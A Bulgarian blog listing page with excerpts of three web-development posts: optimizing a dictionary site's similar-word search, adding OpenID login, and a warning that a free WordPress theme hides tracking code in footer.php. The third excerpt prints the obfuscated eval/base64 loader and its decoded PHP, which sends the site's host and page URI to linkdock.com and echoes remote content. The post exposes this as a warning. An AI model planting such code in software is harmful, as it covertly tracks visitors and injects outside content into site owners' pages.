Публикувано в (Уеб програмиране) от gan на 15 март 2010 в 12:48

Задача за оптимизиране бързината на сайт

Наскоро работих по сайта Речник на думите в българския език. В този сайт при търсене по някоя дума в дясната колона се зарежда блок с подобни думи. Подобните думи са такива, които се получават от търсената дума с добавяне, премахване или подмяна на една или две букви. За откриването на такива думи се използва алгоритъм с висока степен на сложност, който е бавен, защото претърсва цялата таблица с думи. Таблицата беше с размер около 100 000 реда и нарастваше и в резултат на това зареждането на страницата се бавеше до към 30 секунди - прекалено дълго време за уеб страница. Задачата ми беше да измисля начин за оптимизиране на бързодействието на сайта.

Решение

Първото, което направих е да опитам да оптимизирам SQL заявката. Ползваният алгоритъм… прочети цялата статия»


Публикувано в (Сигурност, Уеб програмиране) от gan на 28 януари 2010 в 16:08

Ограничен достъп и логване с OpenID

Някой от страниците на сайта ganbox.com реших да са достъпни само след логване, затова ми се наложи да си направя логин форма, през която потребителите да се логват и да получават достъп. Обикновено една такава система включва в себе си няколко функции: страница за регистриране, страница за логване, страница за забравена парола, страница за промяна на парола или други лични данни, управление на сесии, база данни с данни за потребителите. Мислих няколко варианта и накрая реших, че без последните две няма как да мина, но нямам време да правя другите страници. Затова избрах решение с OpenID логване.

Какво е OpenID?

Съвсем накратко: с една парола достъп до много сайтове. Това е метод, който обединява протокол и системи, който ти дава възможност да се регистрираш в един… прочети цялата статия»


Публикувано в (Сигурност, Уеб програмиране) от gan на 16 август 2009 в 15:52

Код за проследяване

Пиша тази статия за всички ползващи Wordpress, които не обичат да ги следят без тяхно знание. Проблем: Безплатна тема за Wordpress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния PHP код: <? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+ X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5 K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4 HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?> (Всичко това е на един ред). Което всъщност представлява следния зашифрован PHP код за проследяване: error_reporting(0); $CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"]) ."&uri=".urlencode($_SERVER["REQUEST_URI"]); if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) { echo @file_get_contents($CodeURL); } elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) { $content = @file($CodeURL); echo @join("", $content); } elseif (function_exists("curl_init")) { $ch = curl_init($CodeURL); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.

Защо го правят?

С този код получават интернет трафик от… прочети цялата статия»